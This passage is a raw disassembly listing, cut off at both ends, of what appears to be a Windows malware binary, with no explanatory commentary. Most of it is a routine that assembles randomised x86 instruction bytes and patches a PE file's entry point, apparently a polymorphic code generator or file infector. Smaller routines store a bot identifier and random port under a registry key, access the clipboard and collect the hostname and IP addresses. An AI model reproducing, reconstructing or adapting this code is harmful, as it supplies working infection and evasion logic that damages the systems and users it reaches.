edi, [ebp+70h+var_94] lea esi, [eax+4] sub edi, eax mov [ebp+70h+arg_0], esi mov [ebp+70h+var_4C], edi mov [ebp+70h+var_4], ecx loc_403E89: ; CODE XREF: sub_402AC9+13D1j dec [ebp+70h+arg_0] dec [ebp+70h+var_4] mov edi, [ebp+70h+arg_0] mov eax, [ebp+70h+var_4C] mov al, [eax+edi] mov [edi], al jnz short loc_403E89 mov eax, esi mov byte ptr [eax], 4Ah inc eax mov edi, eax lea esi, [ebp+70h+var_CC] movsw inc eax inc eax lea edi, [ebp+70h+var_58] lea esi, [eax+4] sub edi, eax mov [ebp+70h+arg_0], esi mov [ebp+70h+var_44], edi mov [ebp+70h+var_4], ecx loc_403EBC: ; CODE XREF: sub_402AC9+1407j dec [ebp+70h+arg_0] dec [ebp+70h+var_4] mov edi, [ebp+70h+var_44] mov eax, [ebp+70h+arg_0] mov al, [eax+edi] mov edi, [ebp+70h+arg_0] mov [edi], al jnz short loc_403EBC mov eax, esi mov byte ptr [eax], 75h inc eax sub dl, al dec dl mov edi, eax mov [edi], dl inc edi mov [ebp+70h+var_8], eax mov [ebp+70h+var_8], edi mov edx, [ebp+70h+var_8] inc edx lea esi, [ebp+70h+var_54] movsw inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_38] mov eax, edi sub esi, edx mov [ebp+70h+arg_0], ecx loc_403EFE: ; CODE XREF: sub_402AC9+143Ej dec eax dec [ebp+70h+arg_0] mov dl, [eax+esi] mov [eax], dl jnz short loc_403EFE mov eax, edi inc eax lea esi, [ebp+70h+var_AC] movsw inc eax lea edi, [eax+4] lea esi, [ebp+70h+var_7C] mov edx, edi sub esi, eax mov [ebp+70h+arg_0], ecx loc_403F1F: ; CODE XREF: sub_402AC9+145Fj dec edx dec [ebp+70h+arg_0] mov al, [edx+esi] mov [edx], al jnz short loc_403F1F mov eax, [ebp+70h+var_C] mov edx, edi inc edx inc edx sub eax, edx lea esi, [ebp+70h+var_98] movsw sub eax, ecx lea esi, [edx+4] lea edi, [ebp+70h+arg_0] mov [ebp+70h+arg_0], eax mov eax, esi sub edi, edx mov [ebp+70h+var_4], ecx loc_403F4A: ; CODE XREF: sub_402AC9+148Aj dec eax dec [ebp+70h+var_4] mov dl, [eax+edi] mov [eax], dl jnz short loc_403F4A xor edx, edx mov byte ptr [esi], 0BFh mov eax, [ebp+70h+var_1FC] push 14h pop edi div edi inc esi lea edx, [esi+4] lea edi, [ebp+70h+var_44] mov [ebp+70h+arg_0], edx mov [ebp+70h+var_4], ecx dec eax mov [ebp+70h+var_44], eax sub edi, esi loc_403F78: ; CODE XREF: sub_402AC9+14C0j dec [ebp+70h+arg_0] dec [ebp+70h+var_4] mov eax, [ebp+70h+arg_0] mov al, [edi+eax] mov esi, [ebp+70h+arg_0] mov [esi], al jnz short loc_403F78 mov byte ptr [edx], 0BBh mov esi, [ebp+70h+var_200] mov eax, [ebx+34h] lea eax, [eax+esi+0Ch] inc edx lea edi, [edx+4] lea esi, [ebp+70h+var_4] mov [ebp+70h+var_4], eax mov eax, edi sub esi, edx mov [ebp+70h+arg_0], ecx loc_403FAC: ; CODE XREF: sub_402AC9+14ECj dec eax dec [ebp+70h+arg_0] mov dl, [esi+eax] mov [eax], dl jnz short loc_403FAC mov eax, edi mov [ebp+70h+var_1C], eax inc eax lea esi, [ebp+70h+var_60] inc eax movsw mov byte ptr [eax], 5 inc eax mov esi, ecx loc_403FC9: ; CODE XREF: sub_402AC9+1508j mov dl, [ebx+esi+33h] dec esi mov [esi+eax], dl jnz short loc_403FC9 add eax, ecx mov byte ptr [eax], 50h inc eax mov edi, eax inc eax lea esi, [ebp+70h+var_74] movsw inc eax lea edi, [eax+4] lea esi, [ebp+70h+var_70] mov edx, edi sub esi, eax mov [ebp+70h+arg_0], ecx loc_403FEF: ; CODE XREF: sub_402AC9+152Fj dec edx dec [ebp+70h+arg_0] mov al, [esi+edx] mov [edx], al jnz short loc_403FEF mov eax, edi inc eax inc eax lea esi, [ebp+70h+var_B4] movsw mov byte ptr [eax], 53h inc eax mov edi, eax inc eax inc eax lea esi, [ebp+70h+var_80] movsw mov byte ptr [eax], 4 inc eax mov edi, eax inc eax lea esi, [ebp+70h+var_60] inc eax movsw mov byte ptr [eax], 5 inc eax mov esi, ecx loc_404023: ; CODE XREF: sub_402AC9+1562j mov dl, [ebx+esi+33h] dec esi mov [esi+eax], dl jnz short loc_404023 add eax, ecx mov edi, eax inc eax inc eax lea esi, [ebp+70h+var_DC] movsw mov edi, eax inc eax inc eax lea esi, [ebp+70h+var_60] movsw mov byte ptr [eax], 5 mov esi, [ebx+34h] mov edx, eax inc eax inc esi inc esi lea edi, [ebp+70h+var_70] mov [ebp+70h+var_70], esi lea esi, [eax+4] sub edi, eax mov [ebp+70h+arg_0], esi mov [ebp+70h+var_44], edi mov [ebp+70h+var_4], ecx loc_404060: ; CODE XREF: sub_402AC9+15A8j dec [ebp+70h+arg_0] dec [ebp+70h+var_4] mov edi, [ebp+70h+arg_0] mov eax, [ebp+70h+var_44] mov al, [eax+edi] mov [edi], al jnz short loc_404060 mov eax, esi mov byte ptr [eax], 50h inc eax mov byte ptr [eax], 25h inc eax lea edi, [ebp+70h+var_70] lea esi, [eax+4] sub edi, eax mov [ebp+70h+var_70], 80000000h mov [ebp+70h+arg_0], esi mov [ebp+70h+var_44], edi mov [ebp+70h+var_4], ecx loc_404095: ; CODE XREF: sub_402AC9+15DDj dec [ebp+70h+arg_0] dec [ebp+70h+var_4] mov edi, [ebp+70h+arg_0] mov eax, [ebp+70h+var_44] mov al, [eax+edi] mov [edi], al jnz short loc_404095 mov byte ptr [esi], 58h inc esi mov byte ptr [esi], 74h inc esi mov byte ptr [esi], 8 inc esi mov byte ptr [esi], 25h inc esi lea eax, [ebp+70h+var_70] lea edi, [esi+4] sub eax, esi mov [ebp+70h+var_70], 0FFFFh mov [ebp+70h+arg_0], edi mov [ebp+70h+var_44], eax mov [ebp+70h+var_4], ecx loc_4040D0: ; CODE XREF: sub_402AC9+1618j dec [ebp+70h+arg_0] dec [ebp+70h+var_4] mov esi, [ebp+70h+arg_0] mov eax, [ebp+70h+var_44] mov al, [eax+esi] mov [esi], al jnz short loc_4040D0 mov eax, edi inc eax inc eax lea esi, [ebp+70h+var_BC] movsw mov byte ptr [eax], 2 inc eax mov byte ptr [eax], 50h inc eax mov byte ptr [eax], 56h inc eax mov edi, eax lea esi, [ebp+70h+var_74] movsw inc eax inc eax lea edi, [ebp+70h+var_13C] lea esi, [eax+4] sub edi, eax mov [ebp+70h+arg_0], esi mov [ebp+70h+var_70], edi mov [ebp+70h+var_4], ecx loc_404115: ; CODE XREF: sub_402AC9+165Dj dec [ebp+70h+arg_0] dec [ebp+70h+var_4] mov edi, [ebp+70h+arg_0] mov eax, [ebp+70h+var_70] mov al, [eax+edi] mov [edi], al jnz short loc_404115 mov eax, esi mov edi, eax inc eax inc eax lea esi, [ebp+70h+var_E4] movsw mov edi, eax inc eax inc eax lea esi, [ebp+70h+var_80] movsw mov byte ptr [eax], 4 inc eax mov edi, eax inc eax inc eax lea esi, [ebp+70h+var_60] movsw mov edi, eax add eax, 3 lea esi, [ebp+70h+var_30] movsw movsb mov byte ptr [eax], 75h inc eax sub dl, al dec dl mov [eax], dl mov dl, byte ptr [ebp+70h+var_1C] inc eax mov byte ptr [eax], 5Bh inc eax mov edi, eax inc eax inc eax lea esi, [ebp+70h+var_80] movsw mov byte ptr [eax], 14h inc eax mov byte ptr [eax], 4Fh inc eax mov byte ptr [eax], 75h inc eax sub dl, al dec dl mov [eax], dl inc eax mov byte ptr [eax], 54h inc eax mov byte ptr [eax], 68h inc eax lea edi, [eax+4] lea esi, [ebp+70h+arg_0] mov [ebp+70h+arg_0], 40h mov edx, edi sub esi, eax mov [ebp+70h+var_4], ecx loc_40419E: ; CODE XREF: sub_402AC9+16DEj dec edx dec [ebp+70h+var_4] mov al, [esi+edx] mov [edx], al jnz short loc_40419E mov eax, [ebp+70h+var_144] mov edx, edi mov byte ptr [edx], 68h inc edx lea edi, [edx+4] lea esi, [ebp+70h+arg_0] mov [ebp+70h+arg_0], eax mov eax, edi sub esi, edx mov [ebp+70h+var_4], ecx loc_4041C5: ; CODE XREF: sub_402AC9+1705j dec eax dec [ebp+70h+var_4] mov dl, [eax+esi] mov [eax], dl jnz short loc_4041C5 mov eax, edi mov byte ptr [eax], 68h mov edx, [ebx+34h] inc eax lea edi, [eax+4] lea esi, [ebp+70h+arg_0] mov [ebp+70h+arg_0], edx mov edx, edi sub esi, eax mov [ebp+70h+var_4], ecx loc_4041E9: ; CODE XREF: sub_402AC9+1729j dec edx dec [ebp+70h+var_4] mov al, [esi+edx] mov [edx], al jnz short loc_4041E9 mov eax, edi inc eax lea esi, [ebp+70h+var_74] movsw inc eax lea esi, [eax+4] lea edi, [ebp+70h+var_110] mov edx, esi sub edi, eax mov [ebp+70h+arg_0], ecx loc_40420D: ; CODE XREF: sub_402AC9+174Dj dec edx dec [ebp+70h+arg_0] mov al, [edi+edx] mov [edx], al jnz short loc_40420D mov edx, [ebx+34h] mov eax, edx sub eax, [ebp+70h+var_130] mov byte ptr [esi], 0BDh lea eax, [eax+ebx+0F8h] mov [ebp+70h+arg_0], eax sub eax, edx mov [ebp+70h+var_30], eax inc esi mov edi, ecx loc_404238: ; CODE XREF: sub_402AC9+1777j mov al, [ebx+edi+33h] dec edi mov [edi+esi], al jnz short loc_404238 add esi, ecx and [ebp+70h+var_5C], 0 push 4 mov [ebp+70h+var_8], esi pop ebx loc_40424E: ; CODE XREF: sub_402AC9+19E8j add [ebp+70h+arg_0], 8 add [ebp+70h+var_30], 8 push 1 push 0 call sub_40D864 test eax, eax pop ecx pop ecx mov ecx, [ebp+70h+var_8] mov edi, ecx jz short loc_40428A lea esi, [ebp+70h+var_68] movsw add ecx, 3 movsb lea edi, [ecx+4] lea eax, [ebp+70h+arg_0] sub eax, ecx mov esi, edi mov ecx, ebx loc_40427F: ; CODE XREF: sub_402AC9+17BDj dec esi dec ecx mov dl, [eax+esi] mov [esi], dl jnz short loc_40427F jmp short loc_4042A6 ; --------------------------------------------------------------------------- loc_40428A: ; CODE XREF: sub_402AC9+179Fj inc ecx inc ecx lea esi, [ebp+70h+var_2C] movsw lea edi, [ecx+4] lea eax, [ebp+70h+var_30] sub eax, ecx mov esi, edi mov ecx, ebx loc_40429D: ; CODE XREF: sub_402AC9+17DBj dec esi dec ecx mov dl, [eax+esi] mov [esi], dl jnz short loc_40429D loc_4042A6: ; CODE XREF: sub_402AC9+17BFj mov eax, [ebp+70h+var_5C] lea eax, [eax+eax*4] shl eax, 3 mov [ebp+70h+var_8], edi mov ecx, ebx mov [ebp+70h+var_58], eax lea esi, [ebp+eax+70h+var_3B8] loc_4042BE: ; CODE XREF: sub_402AC9+17FFj mov edx, [ebp+70h+var_8] dec ecx mov al, [esi+ecx] mov [ecx+edx], al jnz short loc_4042BE add [ebp+70h+var_8], ebx add [ebp+70h+arg_0], ebx add [ebp+70h+var_30], ebx push 1 push 0 call sub_40D864 test eax, eax pop ecx pop ecx mov ecx, [ebp+70h+var_8] mov edi, ecx jz short loc_404307 lea esi, [ebp+70h+var_68] movsw add ecx, 3 movsb lea edi, [ecx+4] lea eax, [ebp+70h+arg_0] sub eax, ecx mov esi, edi mov ecx, ebx loc_4042FC: ; CODE XREF: sub_402AC9+183Aj dec esi dec ecx mov dl, [esi+eax] mov [esi], dl jnz short loc_4042FC jmp short loc_404323 ; --------------------------------------------------------------------------- loc_404307: ; CODE XREF: sub_402AC9+181Cj inc ecx inc ecx lea esi, [ebp+70h+var_2C] movsw lea edi, [ecx+4] lea eax, [ebp+70h+var_30] sub eax, ecx mov esi, edi mov ecx, ebx loc_40431A: ; CODE XREF: sub_402AC9+1858j dec esi dec ecx mov dl, [eax+esi] mov [esi], dl jnz short loc_40431A loc_404323: ; CODE XREF: sub_402AC9+183Cj mov esi, [ebp+70h+var_58] mov [ebp+70h+var_8], edi mov eax, ebx lea esi, [ebp+esi+70h+var_3B4] loc_404332: ; CODE XREF: sub_402AC9+1873j mov edx, [ebp+70h+var_8] dec eax mov cl, [esi+eax] mov [eax+edx], cl jnz short loc_404332 add [ebp+70h+var_8], ebx add [ebp+70h+arg_0], ebx add [ebp+70h+var_30], ebx push 1 push 0 call sub_40D864 test eax, eax pop ecx pop ecx mov ecx, [ebp+70h+var_8] mov edi, ecx jz short loc_40437B lea esi, [ebp+70h+var_68] movsw add ecx, 3 movsb lea edi, [ecx+4] lea eax, [ebp+70h+arg_0] sub eax, ecx mov esi, edi mov ecx, ebx loc_404370: ; CODE XREF: sub_402AC9+18AEj dec esi dec ecx mov dl, [eax+esi] mov [esi], dl jnz short loc_404370 jmp short loc_404397 ; --------------------------------------------------------------------------- loc_40437B: ; CODE XREF: sub_402AC9+1890j inc ecx inc ecx lea esi, [ebp+70h+var_2C] movsw lea edi, [ecx+4] lea eax, [ebp+70h+var_30] sub eax, ecx mov esi, edi mov ecx, ebx loc_40438E: ; CODE XREF: sub_402AC9+18CCj dec esi dec ecx mov dl, [eax+esi] mov [esi], dl jnz short loc_40438E loc_404397: ; CODE XREF: sub_402AC9+18B0j mov esi, [ebp+70h+var_58] mov [ebp+70h+var_8], edi mov eax, ebx lea esi, [ebp+esi+70h+var_3B0] loc_4043A6: ; CODE XREF: sub_402AC9+18E7j mov edx, [ebp+70h+var_8] dec eax mov cl, [esi+eax] mov [eax+edx], cl jnz short loc_4043A6 add [ebp+70h+var_8], ebx add [ebp+70h+arg_0], ebx add [ebp+70h+var_30], ebx push 1 push 0 call sub_40D864 test eax, eax pop ecx pop ecx mov ecx, [ebp+70h+var_8] mov edi, ecx jz short loc_4043EF lea esi, [ebp+70h+var_68] movsw add ecx, 3 movsb lea edi, [ecx+4] lea eax, [ebp+70h+arg_0] sub eax, ecx mov esi, edi mov ecx, ebx loc_4043E4: ; CODE XREF: sub_402AC9+1922j dec esi dec ecx mov dl, [eax+esi] mov [esi], dl jnz short loc_4043E4 jmp short loc_40440B ; --------------------------------------------------------------------------- loc_4043EF: ; CODE XREF: sub_402AC9+1904j inc ecx inc ecx lea esi, [ebp+70h+var_2C] movsw lea edi, [ecx+4] lea eax, [ebp+70h+var_30] sub eax, ecx mov esi, edi mov ecx, ebx loc_404402: ; CODE XREF: sub_402AC9+1940j dec esi dec ecx mov dl, [eax+esi] mov [esi], dl jnz short loc_404402 loc_40440B: ; CODE XREF: sub_402AC9+1924j mov esi, [ebp+70h+var_58] mov [ebp+70h+var_8], edi mov eax, ebx lea esi, [ebp+esi+70h+var_3AC] loc_40441A: ; CODE XREF: sub_402AC9+195Bj mov edx, [ebp+70h+var_8] dec eax mov cl, [esi+eax] mov [eax+edx], cl jnz short loc_40441A add [ebp+70h+var_8], ebx add [ebp+70h+arg_0], 10h add [ebp+70h+var_30], 10h push 1 push 0 call sub_40D864 test eax, eax pop ecx pop ecx jz short loc_404465 mov eax, [ebp+70h+var_8] mov edi, eax lea esi, [ebp+70h+var_68] movsw add eax, 3 movsb lea edi, [eax+4] lea ecx, [ebp+70h+arg_0] sub ecx, eax mov esi, edi mov eax, ebx loc_40445A: ; CODE XREF: sub_402AC9+1998j dec esi dec eax mov dl, [esi+ecx] mov [esi], dl jnz short loc_40445A jmp short loc_404486 ; --------------------------------------------------------------------------- loc_404465: ; CODE XREF: sub_402AC9+1975j mov ecx, [ebp+70h+var_8] mov edi, ecx inc ecx inc ecx lea esi, [ebp+70h+var_2C] movsw lea edi, [ecx+4] lea eax, [ebp+70h+var_30] sub eax, ecx mov esi, edi mov ecx, ebx loc_40447D: ; CODE XREF: sub_402AC9+19BBj dec esi dec ecx mov dl, [esi+eax] mov [esi], dl jnz short loc_40447D loc_404486: ; CODE XREF: sub_402AC9+199Aj mov esi, [ebp+70h+var_58] mov [ebp+70h+var_8], edi mov eax, ebx lea esi, [ebp+esi+70h+var_39C] loc_404495: ; CODE XREF: sub_402AC9+19D6j mov edx, [ebp+70h+var_8] dec eax mov cl, [esi+eax] mov [eax+edx], cl jnz short loc_404495 add [ebp+70h+var_8], ebx add [ebp+70h+arg_0], ebx add [ebp+70h+var_30], ebx inc [ebp+70h+var_5C] cmp [ebp+70h+var_5C], 3 jb loc_40424E mov eax, [ebp+70h+var_8] mov ecx, [ebp+70h+var_130] mov edi, eax lea esi, [ebp+70h+var_2C] movsw mov edx, [ecx+3Ch] inc eax inc eax add edx, 28h lea edi, [eax+4] lea esi, [ebp+70h+var_110] mov [ebp+70h+var_110], edx mov edx, edi sub esi, eax mov [ebp+70h+arg_0], ebx loc_4044E5: ; CODE XREF: sub_402AC9+1A25j dec edx dec [ebp+70h+arg_0] mov al, [esi+edx] mov [edx], al jnz short loc_4044E5 lea eax, [edi+4] lea esi, [ebp+70h+var_258] mov [ebp+70h+arg_0], eax sub esi, edi mov [ebp+70h+var_4], ebx loc_404501: ; CODE XREF: sub_402AC9+1A49j dec [ebp+70h+arg_0] dec [ebp+70h+var_4] mov edx, [ebp+70h+arg_0] mov dl, [esi+edx] mov edi, [ebp+70h+arg_0] mov [edi], dl jnz short loc_404501 mov edi, eax lea esi, [ebp+70h+var_2C] movsw mov edx, [ecx+3Ch] inc eax inc eax add edx, 6 lea edi, [eax+4] lea esi, [ebp+70h+var_4C] mov [ebp+70h+var_4C], edx mov edx, edi sub esi, eax mov [ebp+70h+arg_0], ebx loc_404533: ; CODE XREF: sub_402AC9+1A73j dec edx dec [ebp+70h+arg_0] mov al, [esi+edx] mov [edx], al jnz short loc_404533 movzx eax, [ebp+70h+var_27A] mov [ebp+70h+var_4C], eax lea eax, [edi+4] lea esi, [ebp+70h+var_4C] mov [ebp+70h+arg_0], eax sub esi, edi mov [ebp+70h+var_4], ebx loc_404556: ; CODE XREF: sub_402AC9+1A9Ej dec [ebp+70h+arg_0] dec [ebp+70h+var_4] mov edx, [ebp+70h+arg_0] mov dl, [edx+esi] mov edi, [ebp+70h+arg_0] mov [edi], dl jnz short loc_404556 mov edi, eax lea esi, [ebp+70h+var_2C] movsw mov edx, [ecx+3Ch] inc eax inc eax add edx, 80h lea edi, [eax+4] lea esi, [ebp+70h+var_110] mov [ebp+70h+var_110], edx mov edx, edi sub esi, eax mov [ebp+70h+arg_0], ebx loc_404591: ; CODE XREF: sub_402AC9+1AD1j dec edx dec [ebp+70h+arg_0] mov al, [esi+edx] mov [edx], al jnz short loc_404591 lea eax, [edi+4] lea esi, [ebp+70h+var_200] mov [ebp+70h+arg_0], eax sub esi, edi mov [ebp+70h+var_4], ebx loc_4045AD: ; CODE XREF: sub_402AC9+1AF5j dec [ebp+70h+arg_0] dec [ebp+70h+var_4] mov edx, [ebp+70h+arg_0] mov dl, [esi+edx] mov edi, [ebp+70h+arg_0] mov [edi], dl jnz short loc_4045AD mov edi, eax lea esi, [ebp+70h+var_2C] movsw mov ecx, [ecx+3Ch] inc eax add ecx, 84h inc eax mov [ebp+70h+arg_0], ecx lea esi, [eax+4] lea ecx, [ebp+70h+arg_0] sub ecx, eax mov edi, esi mov eax, ebx loc_4045E1: ; CODE XREF: sub_402AC9+1B1Fj dec edi dec eax mov dl, [ecx+edi] mov [edi], dl jnz short loc_4045E1 lea edi, [esi+4] lea eax, [ebp+70h+var_1FC] sub eax, esi mov ecx, edi mov esi, ebx loc_4045F9: ; CODE XREF: sub_402AC9+1B37j dec ecx dec esi mov dl, [eax+ecx] mov [ecx], dl jnz short loc_4045F9 mov ecx, edi inc ecx lea esi, [ebp+70h+var_C4] inc ecx movsw lea esi, [ecx+4] lea edx, [ebp+70h+var_78] mov edi, esi sub edx, ecx mov eax, ebx loc_404617: ; CODE XREF: sub_402AC9+1B55j dec edi dec eax mov cl, [edi+edx] mov [edi], cl jnz short loc_404617 mov ecx, [ebp+70h+var_140] mov eax, esi mov byte ptr [eax], 5Dh inc eax mov byte ptr [eax], 0E9h mov edx, [ebp+70h+var_258] inc eax sub ecx, eax sub ecx, [ebp+70h+var_50] mov esi, ebx lea ecx, [ecx+edx-4] lea edx, [ebp+70h+arg_0] mov [ebp+70h+arg_0], ecx lea ecx, [eax+4] sub edx, eax loc_40464C: ; CODE XREF: sub_402AC9+1B8Aj dec ecx dec esi mov al, [ecx+edx] mov [ecx], al jnz short loc_40464C loc_404655: ; CODE XREF: sub_402AC9+9Dj ; sub_402AC9+C3j push [ebp+70h+var_138] call ds:dword_4290B0 ; HeapDestroy mov eax, [ebp+70h+var_134] pop edi pop esi pop ebx add ebp, 70h leave retn sub_402AC9 endp ; =============== S U B R O U T I N E ======================================= sub_40466F proc near ; CODE XREF: sub_407A31+3Ep ; sub_4142D6+40p ... push esi call sub_4099FE xor eax, eax mov [esi+18h], eax mov [esi+1Ch], eax mov [esi+20h], eax mov eax, esi retn sub_40466F endp ; =============== S U B R O U T I N E ======================================= sub_404683 proc near ; CODE XREF: sub_407ACB+17p ; sub_4142D6+8Dp ... push esi mov esi, eax call sub_404718 push esi call ds:dword_429098 ; RtlDeleteCriticalSection pop esi retn sub_404683 endp ; =============== S U B R O U T I N E ======================================= sub_404694 proc near ; CODE XREF: sub_407C12+72p ; sub_4142D6+4Ap ... arg_0 = dword ptr 4 push esi mov esi, eax push esi call ds:dword_429130 ; RtlEnterCriticalSection call sub_404718 call ds:dword_4290A8 ; GetTickCount push [esp+4+arg_0] mov [esi+20h], eax lea eax, [esi+18h] push eax call sub_402AC9 pop ecx pop ecx push esi mov [esi+1Ch], eax call ds:dword_42912C ; RtlLeaveCriticalSection pop esi retn 4 sub_404694 endp ; =============== S U B R O U T I N E ======================================= sub_4046C9 proc near ; CODE XREF: sub_407C12+5Fp ; sub_416071+13Fp push esi call ds:dword_429130 ; RtlEnterCriticalSection push esi call ds:dword_42912C ; RtlLeaveCriticalSection call ds:dword_4290A8 ; GetTickCount sub eax, [esi+20h] cmp eax, 124F80h ja short loc_4046F0 cmp dword ptr [esi+18h], 0 jz short loc_4046F0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4046F0: ; CODE XREF: sub_4046C9+1Cj ; sub_4046C9+22j xor eax, eax inc eax retn sub_4046C9 endp ; =============== S U B R O U T I N E ======================================= sub_4046F4 proc near ; CODE XREF: sub_407C12+CBp ; sub_4142D6+6Fp ... push esi call ds:dword_429130 ; RtlEnterCriticalSection push esi call ds:dword_42912C ; RtlLeaveCriticalSection mov eax, [esi+18h] retn sub_4046F4 endp ; =============== S U B R O U T I N E ======================================= sub_404706 proc near ; CODE XREF: sub_407C12+96p ; sub_407C12+BDp ... push esi call ds:dword_429130 ; RtlEnterCriticalSection push esi call ds:dword_42912C ; RtlLeaveCriticalSection mov eax, [esi+1Ch] retn sub_404706 endp ; =============== S U B R O U T I N E ======================================= sub_404718 proc near ; CODE XREF: sub_404683+3p ; sub_404694+Ap mov eax, [esi+18h] test eax, eax jz short locret_40472A push eax call sub_41CA28 and dword ptr [esi+18h], 0 pop ecx locret_40472A: ; CODE XREF: sub_404718+5j retn sub_404718 endp ; =============== S U B R O U T I N E ======================================= sub_40472B proc near ; CODE XREF: sub_401236+D5p ; sub_416071+155p arg_0 = dword ptr 4 push 0 call ds:dword_429250 ; OpenClipboard mov eax, [esp+arg_0] retn 4 sub_40472B endp ; --------------------------------------------------------------------------- loc_40473A: ; CODE XREF: .text:loc_427D80j jmp ds:dword_429240 ; =============== S U B R O U T I N E ======================================= sub_404740 proc near ; CODE XREF: sub_401236+E7p ; sub_416071+174p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push [esp+4+arg_0] call ds:dword_429248 ; GetClipboardData mov ebx, eax test ebx, ebx jz short loc_40478D push ebx call ds:dword_4290C8 ; GlobalLock test eax, eax jz short loc_40478D cmp [esp+4+arg_4], 0 push esi push eax push edi jz short loc_404779 call sub_41C5A0 add esp, 0Ch test esi, esi jbe short loc_404781 mov byte ptr [edi+esi-1], 0 jmp short loc_404781 ; --------------------------------------------------------------------------- loc_404779: ; CODE XREF: sub_404740+24j call sub_41BC60 add esp, 0Ch loc_404781: ; CODE XREF: sub_404740+30j ; sub_404740+37j push ebx call ds:dword_4290D0 ; GlobalUnlock xor eax, eax inc eax jmp short loc_40478F ; --------------------------------------------------------------------------- loc_40478D: ; CODE XREF: sub_404740+Fj ; sub_404740+1Aj xor eax, eax loc_40478F: ; CODE XREF: sub_404740+4Bj pop ebx retn 8 sub_404740 endp ; =============== S U B R O U T I N E ======================================= sub_404793 proc near ; CODE XREF: sub_401236+114p ; sub_401236+176p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push [esp+4+arg_8] push 2 call ds:dword_4290CC ; GlobalAlloc mov esi, eax test esi, esi jz short loc_4047D6 push esi call ds:dword_4290C8 ; GlobalLock test eax, eax jz short loc_4047D6 push [esp+4+arg_8] push [esp+8+arg_4] push eax call sub_41BC60 add esp, 0Ch push esi call ds:dword_4290D0 ; GlobalUnlock push esi push [esp+8+arg_0] call ds:dword_429254 ; SetClipboardData jmp short loc_4047D8 ; --------------------------------------------------------------------------- loc_4047D6: ; CODE XREF: sub_404793+11j ; sub_404793+1Cj xor eax, eax loc_4047D8: ; CODE XREF: sub_404793+41j pop esi retn 0Ch sub_404793 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4047DC proc near ; CODE XREF: sub_404869+7p var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h push esi push edi push offset aSoftwareGnu ; "SOFTWARE\\GNU" push 80000001h lea esi, [ebp+var_10] call sub_40D8DC mov edi, offset aUuid ; "uuid" push edi mov eax, esi push eax call sub_40D93E test eax, eax jnz short loc_40483C xor esi, esi loc_40480A: ; CODE XREF: sub_4047DC+46j push 0FFh push 0 call sub_40D864 mov ds:byte_435ADC[esi], al inc esi cmp esi, 10h pop ecx pop ecx jb short loc_40480A push 10h mov esi, offset byte_435ADC push esi push 3 push 0 push edi push [ebp+var_10] call ds:dword_429020 ; RegSetValueExA jmp short loc_40485B ; --------------------------------------------------------------------------- loc_40483C: ; CODE XREF: sub_4047DC+2Aj lea eax, [ebp+var_4] push eax mov esi, offset byte_435ADC push esi push 0 push 0 push edi push [ebp+var_10] mov [ebp+var_4], 10h call ds:dword_429004 ; RegQueryValueExA loc_40485B: ; CODE XREF: sub_4047DC+5Ej lea eax, [ebp+var_10] call sub_40D8F7 pop edi mov eax, esi pop esi leave retn sub_4047DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404869 proc near ; CODE XREF: .text:0040A6ACp ; sub_40EE0E+3p ... var_4 = byte ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi call sub_4047DC push 20h xor edi, edi push edi mov esi, offset dword_435D14 push esi mov ebx, eax call sub_41C6D0 add esp, 0Ch loc_40488A: ; CODE XREF: sub_404869+45j movzx eax, byte ptr [edi+ebx] push eax lea eax, [ebp+var_4] push offset a_2x ; "%.2X" push eax call sub_41CA2D lea eax, [ebp+var_4] push eax push esi call sub_41C940 add esp, 14h inc edi cmp edi, 10h jb short loc_40488A pop edi mov eax, esi pop esi pop ebx leave retn sub_404869 endp ; =============== S U B R O U T I N E ======================================= sub_4048B7 proc near ; CODE XREF: sub_40EE3F+3p mov eax, offset dword_438118 jmp sub_416B68 sub_4048B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048C1 proc near ; CODE XREF: sub_40B45D+4Cp ; sub_40C14B+5Ap ... var_580 = byte ptr -580h var_C = byte ptr -0Ch push ebp mov ebp, esp sub esp, 580h push ebx push esi push edi push offset aSoftwareGnu ; "SOFTWARE\\GNU" push 80000001h lea esi, [ebp+var_C] call sub_40D8DC mov edi, offset aPprt ; "pprt" push edi mov eax, esi push eax call sub_40D93E test eax, eax mov eax, esi jnz short loc_4048FE push 0 push edi push eax call sub_40DA4A jmp short loc_40490C ; --------------------------------------------------------------------------- loc_4048FE: ; CODE XREF: sub_4048C1+30j push edi push eax call sub_40DA68 mov esi, eax test si, si jnz short loc_40496E loc_40490C: ; CODE XREF: sub_4048C1+3Bj xor ebx, ebx loc_40490E: ; CODE XREF: sub_4048C1+96j lea esi, [ebp+var_580] call sub_414878 xor ecx, ecx inc ecx mov eax, esi call sub_4148AA push 0FFFFh push 401h call sub_40D864 pop ecx pop ecx lea ecx, [ebp+var_580] mov esi, eax call sub_414997 cmp eax, 0FFFFFFFFh push 3 lea eax, [ebp+var_580] jnz short loc_40495B call sub_414D44 inc ebx cmp ebx, 5 jb short loc_40490E jmp short loc_40496E ; --------------------------------------------------------------------------- loc_40495B: ; CODE XREF: sub_4048C1+8Bj call sub_414D44 movzx eax, si push eax push edi lea eax, [ebp+var_C] push eax call sub_40DA4A loc_40496E: ; CODE XREF: sub_4048C1+49j ; sub_4048C1+98j lea eax, [ebp+var_C] call sub_40D8F7 pop edi mov ax, si pop esi pop ebx leave retn sub_4048C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40497E proc near ; CODE XREF: sub_40EE78+3p var_10C = byte ptr -10Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi push 100h lea eax, [ebp+var_10C] xor edi, edi push eax mov [ebp+var_8], edi call ds:dword_429278 ; gethostname push 1Ch call sub_41BA91 pop ecx mov esi, eax push edi lea eax, [ebp+var_4] push eax push esi mov [ebp+var_4], 4 call sub_41B9BA ; GetIpAddrTable push esi call sub_41CA28 push [ebp+var_4] call sub_41BAB5 pop ecx pop ecx mov esi, eax push edi lea eax, [ebp+var_4] push eax push esi call sub_41B9BA ; GetIpAddrTable xor ebx, ebx cmp [esi], edi jbe short loc_404A07 lea edi, 